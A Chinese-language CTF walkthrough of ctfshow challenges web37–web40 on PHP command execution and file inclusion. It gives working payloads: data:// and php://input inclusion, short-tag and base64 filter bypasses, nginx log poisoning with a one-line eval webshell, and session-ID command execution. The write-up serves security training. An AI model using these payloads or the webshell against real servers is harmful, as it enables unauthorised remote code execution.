目錄
1、web37?
2、web38
3、web39
4、web40
命令執行,需要嚴格的過濾
?
1、web37?
使用 php 偽協議:
?c=php://input
post 寫入我們希望執行的 php 代碼:
<?php system('tac f*');?>
拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}
再看 wp 它用到是 data://?協議,也是 php 偽協議
payload:
?c=data://text/plain,<?php system('tac f*')?>
利用源碼中的?include($c); 將我們想要執行的代碼包含進去,其實和 php://input 是一樣的,讓用戶可以控制輸入流,當它與文件包含函數結合時,用戶輸入的 data:// 流就會被當作 php 文件執行。
2、web38
新增過濾 php 和 file
php 短標簽:
<? echo '123';?> ?#前提是開啟配置參數short_open_tags=on
<?=(表達式)?> ?等價于 <?php echo (表達式)?> ?#不需要開啟參數設置
<% echo '123';%> ? #開啟配置參數asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改參數開關,但是只能在7.0以下可用。
我們使用一個沒有前提條件的進行繞過,構造 payload:
?c=data://text/plain,<?=system('tac f*')?>
拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}
也可以這樣寫:
?c=data://text/plain,<?=`ls`;
?c=data://text/plain,<?=`tac f*`;
我們也可以采用編碼繞過,對 <?php system("tac flag.php");?> 進行 base64 編碼再傳入:
構造 payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
查看提示,還可以包含 nginx 的日志文件拿 shell:
對于Apache,日志存放路徑:/var/log/apache/access.log
對于Ngnix,日志存放路徑:/var/log/nginx/access.log 和 /var/log/nginx/error.log
訪問一下日志文件,確實有東西:
?c=/var/log/nginx/access.log
服務器開啟了記錄日志的功能,就可能導致日志包含漏洞,用戶可以進行任意文件讀取:
中間件的日志文件會保存網站的訪問記錄,比如HTTP請求行,User-Agent,Referer等客戶端信息,如果在HTTP請求中插入惡意代碼,那么惡意代碼就會保存到日志文件中,訪問日志文件的時候,日志文件中的惡意代碼就會執行,從而造成任意代碼執行甚至獲取shell。?
從上面的日志信息可以看出是 User-Agent 的內容,這里我們使用 burpsuite 抓包,在 User-Agent 里插入一句話木馬 :
<?php @eval($_REQUEST['cmd']);?>
上蟻劍,連接的文件就是日志文件:
進來后就可以直接看到 flag.php:
我們寫的馬就在這里:
但是在前端包含出來卻看不到:
3、web39
這次的方式不一樣了,還會在傳入的內容后面拼接 .php,由于它把 flag 過濾掉了,而且這里包含后也沒有輸出 $flag 的語句,因此我們需要自己來調用,用 web37 的 payload:
為了看起來好一點便于后面的理解,這里我們用 cat 來讀取
?c=data://text/plain,<?php system('cat f*')?>
傳入后的內容為:
<?php ...
include(<?php system('cat f*')?>.php);?
讀取 flag的 php 語句已經正常閉合,所以后面拼接的 .php 不會產生什么影響
拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}
我們也可以將整個 php 代碼閉合掉,讓 .php 不執行而是被直接顯示:
?c=data://text/plain,<?php system('cat f*')?>)?>
4、web40
首先說一下這里正則匹配有幾處用到了多個反斜杠的原因:
在正則表達式中,美元符號 $ 通常表示字符串的結束位置,為了匹配字面上的美元符號 $,需要使用反斜杠進行轉義,即 \$;在正則表達式中,一個反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要轉義,所以需要四個反斜杠 \\\\ 來表示正則表達式中的一個反斜杠。
晃眼一看這里幾乎把所有符號都過濾掉了,但是仔細一看這里過濾掉的括號是中文的括號:()
也就是說英文的括號其實是能用的:()
使用無參數的 payload:
show_source(next(array_reverse(scandir(pos(localeconv())))));
拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}
看下提示,還有另一種做法:通過 cookie 獲得參數進行命令執行
session_start() 函數用于啟動一個新的 PHP 會話,session_id() 函數返回當前會話的會話 ID,將會話 ID 作為系統命令執行。使用 session 之前需要先用 session_start() 告訴 php?使用session,php 默認是不主動使用session的,也就是說原本的cookie 里是沒有?PHPSESSID 這項的:
請求?
?c=session_start();system(session_id());
再次抓包即可看到 cookie 多出了?PHPSESSID 這:
修改?PHPSESSID 為我們希望執行的命令,即可實現命令執行:
但是這里并不能直接命令執行讀取 flag,在標準的 PHP 會話管理中,會話 ID 不應包含空格。
美元符號 $ 也不行
其他一些命令是可以正常執行的
那么這里如何讀取 flag.php
還是用 show_source?,構造 payload:
show_source(session_id(session_start()));
也可以用?highlight_file 或者??readfile 函數
但是會遇到前面的這個問題,會話 ID 包含了非法字符,點是不可以的
還有另一個問題:
在 PHP 中,一旦會話被激活,就不能再更改會話 ID。
折騰了一下到后面只要傳入?show_source(session_id(session_start())); 就會顯示容器有問題了
重啟容器也沒有解決這個問題:
Cannot change session id when session is active in
應該是題目搭建環境不一樣吧,不折騰了,知道有這種方法就行。
?